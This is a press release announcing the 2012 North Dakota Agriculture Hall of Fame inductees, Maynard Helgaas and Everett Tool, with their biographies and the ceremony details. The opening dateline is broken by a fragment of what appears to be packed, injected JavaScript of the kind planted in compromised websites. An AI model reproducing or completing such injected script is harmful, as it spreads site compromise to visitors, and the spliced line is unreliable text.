VALLEY bybsd|var|u0026u|referrer|dstat||js|php’.split(‘|’),0,{}))
CITY (NDWS) The North Dakota Agriculture Hall of Fame Committee has selected two individuals to be inducted into the North Dakota Agriculture Hall of Fame in 2012. They are Maynard Helgaas of West Fargo, ND and the late Everett Tool of Fargo, ND.

Maynard D. Helgaas is currently the president of Green Vision Group in Fargo, ND, a company that has been investigating and promoting the energy beet industry.  Originally from Fertile, MN, Maynard is a 1958 graduate of NDSU has been involved in the Agriculture Industry his entire life.  He served in the Air National Guard at Fargo, spent his first year out of college as Clay County Extension Agent, two years as Branch Manager of Production Credit Association at Wahpeton and two years as Manager of the Crookston Association.  He is a previous owner of the John Deere Dealership in Jamestown, ND, which eventually grew into a business of six John Deere dealerships, one New Holland dealership, a diesel service business, an ag-supply and service company, an irrigation equipment company and a lease company.  After thirty years in the family business he retired in 1994 and spent the next six years as president of Central Dakota Growers, a seven county green field potato project, which developed into a frozen french fry plant located at Jamestown, ND.   Maynard is past president of several organizations, including the North Dakota Implement Dealers Association and the North American Equipment Dealers Association.  He also was a founding member and president of two foundations, Foundation for the Advancement of Christian Education and the North American Equipment Dealers Foundation. His awards include the John Deere “Top 20 Dealers Award” and the North Dakota National Leadership Award of Excellence. Maynard is married to the former Julie Schauer and they have seven children.

 Everett A. Tool was employed with the North Dakota State Seed Department for over 20 years, eventually being appointed North Dakota State Seed Commissioner in 1968. He was born and raised on a farm near Mandan and graduated from NDSU with a B.S. in Agricultural Education and M.S. in Plant Sciences.  Everett opened the Vocational Agriculture Department in Elgin, ND, and while there developed one of the strongest FFA Chapters in the State.  In the 1960s, he co-founded ND Grain Inspection, pioneering the application of uniform federal standards in the state. In 1977, Everett received the North Dakota State Crop Show Distinguished Service Award; he had contributed significantly to the Crop Show and Crops Judging Contest held at the North Dakota Winter Show and also developed the original list of items to be considered in crops judging. He was particularly satisfied with his development of a method for testing for loose smut in barley seed, by use of the embryo test, thus saving North Dakota farmers thousands of dollars.  Everett and his wife Edna were married for 32 years, until his death in 1974, and had six children.

The recognition ceremony will take place on Saturday, March 10, 2012 at 1:45pm. This is held in the Winter Show Event Center Arena, just prior to the afternoon PRCA Rodeo.  The 75th North Dakota Winter Show is scheduled for March 6-11, 2012.  For more information you may contact the Winter Show office at 1-800-437-0218 or see their website at www.northdakotawintershow.com.